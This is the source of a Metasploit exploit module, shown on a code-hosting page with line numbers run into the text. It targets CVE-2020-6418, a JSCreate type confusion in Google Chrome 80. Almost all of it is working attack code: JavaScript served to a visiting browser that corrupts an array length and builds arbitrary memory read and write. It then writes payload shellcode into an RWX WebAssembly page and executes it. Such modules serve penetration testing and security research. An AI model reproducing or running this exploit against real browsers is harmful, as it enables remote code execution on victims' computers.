Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Post::File9include Msf::Exploit::Remote::HttpServer::BrowserExploit1011def initialize(info = {})12super(update_info(info,13'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',14'Description' => %q{15This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit16corrupts the length of a float array (float_rel), which can then be used for out17of bounds read and write on adjacent memory.18The relative read and write is then used to modify a UInt64Array (uint64_aarw)19which is used for read and writing from absolute memory.20The exploit then uses WebAssembly in order to allocate a region of RWX memory,21which is then replaced with the payload shellcode.22The payload is executed within the sandboxed renderer process, so the browser23must be run with the --no-sandbox option for the payload to work correctly.24},25'License' => MSF_LICENSE,26'Author' => [27'Clément Lecigne', # discovery28'István Kurucsai', # exploit29'Vignesh S Rao', # exploit30'timwr', # metasploit copypasta31],32'References' => [33['CVE', '2020-6418'],34['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],35['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],36['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],37],38'Arch' => [ ARCH_X64 ],39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => [ REPEATABLE_SESSION ],42'SideEffects' => [ IOC_IN_LOGS ],43'Stability' => [CRASH_SAFE]44},45'Targets' =>46[47['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],48['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],49],50'DisclosureDate' => '2020-02-19'))51end5253def on_request_uri(cli, request)54print_status("Sending #{request.uri} to #{request['User-Agent']}")55escaped_payload = Rex::Text.to_unescape(payload.raw)56jscript = %Q^57var shellcode = unescape("#{escaped_payload}");5859// HELPER FUNCTIONS60let conversion_buffer = new ArrayBuffer(8);61let float_view = new Float64Array(conversion_buffer);62let int_view = new BigUint64Array(conversion_buffer);63BigInt.prototype.hex = function() {64return '0x' + this.toString(16);65};66BigInt.prototype.i2f = function() {67int_view[0] = this;68return float_view[0];69}70BigInt.prototype.smi2f = function() {71int_view[0] = this << 32n;72return float_view[0];73}74Number.prototype.f2i = function() {75float_view[0] = this;76return int_view[0];77}78Number.prototype.f2smi = function() {79float_view[0] = this;80return int_view[0] >> 32n;81}8283Number.prototype.fhw = function() {84float_view[0] = this;85return int_view[0] >> 32n;86}8788Number.prototype.flw = function() {89float_view[0] = this;90return int_view[0] & BigInt(2**32-1);91}9293Number.prototype.i2f = function() {94return BigInt(this).i2f();95}96Number.prototype.smi2f = function() {97return BigInt(this).smi2f();98}99100function hex(a) {101return a.toString(16);102}103104//105// EXPLOIT106//107108// the number of holes here determines the OOB write offset109let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];110var float_rel; // float array, initially corruption target111var float_carw; // float array, used for reads/writes within the compressed heap112var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space113var obj_leaker; // used to implement addrof114vuln.pop();115vuln.pop();116vuln.pop();117118function empty() {}119120function f(nt) {121// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug122vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);123for (var i = 0; i < 0x10000; ++i) {};124}125126let p = new Proxy(Object, {127get: function() {128vuln[0] = {};129float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];130float_carw = [6.6];131uint64_aarw = new BigUint64Array(4);132obj_leaker = {133a: float_rel,134b: float_rel,135};136137return Object.prototype;138}139});140141function main(o) {142for (var i = 0; i < 0x10000; ++i) {};143return f(o);144}145146// reads 4 bytes from the compressed heap at the specified dword offset after float_rel147function crel_read4(offset) {148var qw_offset = Math.floor(offset / 2);149if (offset & 1 == 1) {150return float_rel[qw_offset].fhw();151} else {152return float_rel[qw_offset].flw();153}154}155156// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel157function crel_write4(offset, val) {158var qw_offset = Math.floor(offset / 2);159// we are writing an 8-byte double under the hood160// read out the other half and keep its value161if (offset & 1 == 1) {162temp = float_rel[qw_offset].flw();163new_val = (val << 32n | temp).i2f();164float_rel[qw_offset] = new_val;165} else {166temp = float_rel[qw_offset].fhw();167new_val = (temp << 32n | val).i2f();168float_rel[qw_offset] = new_val;169}170}171172const float_carw_elements_offset = 0x14;173174function cabs_read4(caddr) {175elements_addr = caddr - 8n | 1n;176crel_write4(float_carw_elements_offset, elements_addr);177print('cabs_read4: ' + hex(float_carw[0].f2i()));178res = float_carw[0].flw();179// TODO restore elements ptr180return res;181}182183184// This function provides arbitrary within read the compressed heap185function cabs_read8(caddr) {186elements_addr = caddr - 8n | 1n;187crel_write4(float_carw_elements_offset, elements_addr);188print('cabs_read8: ' + hex(float_carw[0].f2i()));189res = float_carw[0].f2i();190// TODO restore elements ptr191return res;192}193194// This function provides arbitrary write within the compressed heap195function cabs_write4(caddr, val) {196elements_addr = caddr - 8n | 1n;197198temp = cabs_read4(caddr + 4n | 1n);199print('cabs_write4 temp: '+ hex(temp));200201new_val = (temp << 32n | val).i2f();202203crel_write4(float_carw_elements_offset, elements_addr);204print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));205206float_carw[0] = new_val;207// TODO restore elements ptr208return res;209}210211const objleaker_offset = 0x41;212function addrof(o) {213obj_leaker.b = o;214addr = crel_read4(objleaker_offset) & BigInt(2**32-2);215obj_leaker.b = {};216return addr;217}218219const uint64_externalptr_offset = 0x1b; // in 8-bytes220221// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array222function read8(addr) {223faddr = addr.i2f();224t1 = float_rel[uint64_externalptr_offset];225t2 = float_rel[uint64_externalptr_offset + 1];226float_rel[uint64_externalptr_offset] = faddr;227float_rel[uint64_externalptr_offset + 1] = 0.0;228229val = uint64_aarw[0];230231float_rel[uint64_externalptr_offset] = t1;232float_rel[uint64_externalptr_offset + 1] = t2;233return val;234}235236// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array237function write8(addr, val) {238faddr = addr.i2f();239t1 = float_rel[uint64_externalptr_offset];240t2 = float_rel[uint64_externalptr_offset + 1];241float_rel[uint64_externalptr_offset] = faddr;242float_rel[uint64_externalptr_offset + 1] = 0.0;243244uint64_aarw[0] = val;245246float_rel[uint64_externalptr_offset] = t1;247float_rel[uint64_externalptr_offset + 1] = t2;248return val;249}250251// Given an array of bigints, this will write all the elements to the address provided as argument252function writeShellcode(addr, sc) {253faddr = addr.i2f();254t1 = float_rel[uint64_externalptr_offset];255t2 = float_rel[uint64_externalptr_offset + 1];256float_rel[uint64_externalptr_offset - 1] = 10;257float_rel[uint64_externalptr_offset] = faddr;258float_rel[uint64_externalptr_offset + 1] = 0.0;259260for (var i = 0; i < sc.length; ++i) {261uint64_aarw[i] = sc[i]262}263264float_rel[uint64_externalptr_offset] = t1;265float_rel[uint64_externalptr_offset + 1] = t2;266}267268269function get_compressed_rw() {270271for (var i = 0; i < 0x10000; ++i) {empty();}272273main(empty);274main(empty);275276// Function would be jit compiled now.277main(p);278279print(`Corrupted length of float_rel array = ${float_rel.length}`);280}281282function get_arw() {283get_compressed_rw();284print('should be 0x2: ' + hex(crel_read4(0x15)));285let previous_elements = crel_read4(0x14);286//print(hex(previous_elements));287//print(hex(cabs_read4(previous_elements)));288//print(hex(cabs_read4(previous_elements + 4n)));289cabs_write4(previous_elements, 0x66554433n);290//print(hex(cabs_read4(previous_elements)));291//print(hex(cabs_read4(previous_elements + 4n)));292293print('addrof(float_rel): ' + hex(addrof(float_rel)));294uint64_aarw[0] = 0x4142434445464748n;295}296297function rce() {298function get_wasm_func() {299var importObject = {300imports: { imported_func: arg => print(arg) }301};302bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];303wasm_code = new Uint8Array(bc);304wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);305return wasm_mod.exports.exported_func;306}307308let wasm_func = get_wasm_func();309// traverse the JSFunction object chain to find the RWX WebAssembly code page310let wasm_func_addr = addrof(wasm_func);311let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;312print('sfi: ' + hex(sfi));313let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;314print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));315316let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;317print('instance: ' + hex(instance));318319let wasm_rwx_addr = cabs_read8(instance + 0x68n);320print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));321322// write the shellcode to the RWX page323while(shellcode.length % 4 != 0){324shellcode += "\u9090";325}326327let sc = [];328329// convert the shellcode to BigInt330for (let i = 0; i < shellcode.length; i += 4) {331sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));332}333334writeShellcode(wasm_rwx_addr,sc);335336print('success');337wasm_func();338}339340341function exp() {342get_arw();343rce();344}345346exp();347^348349jscript = add_debug_print_js(jscript)350html = %Q^351<html>352<head>353<script>354#{jscript}355</script>356</head>357<body>358</body>359</html>360^361send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})362end363364end365366367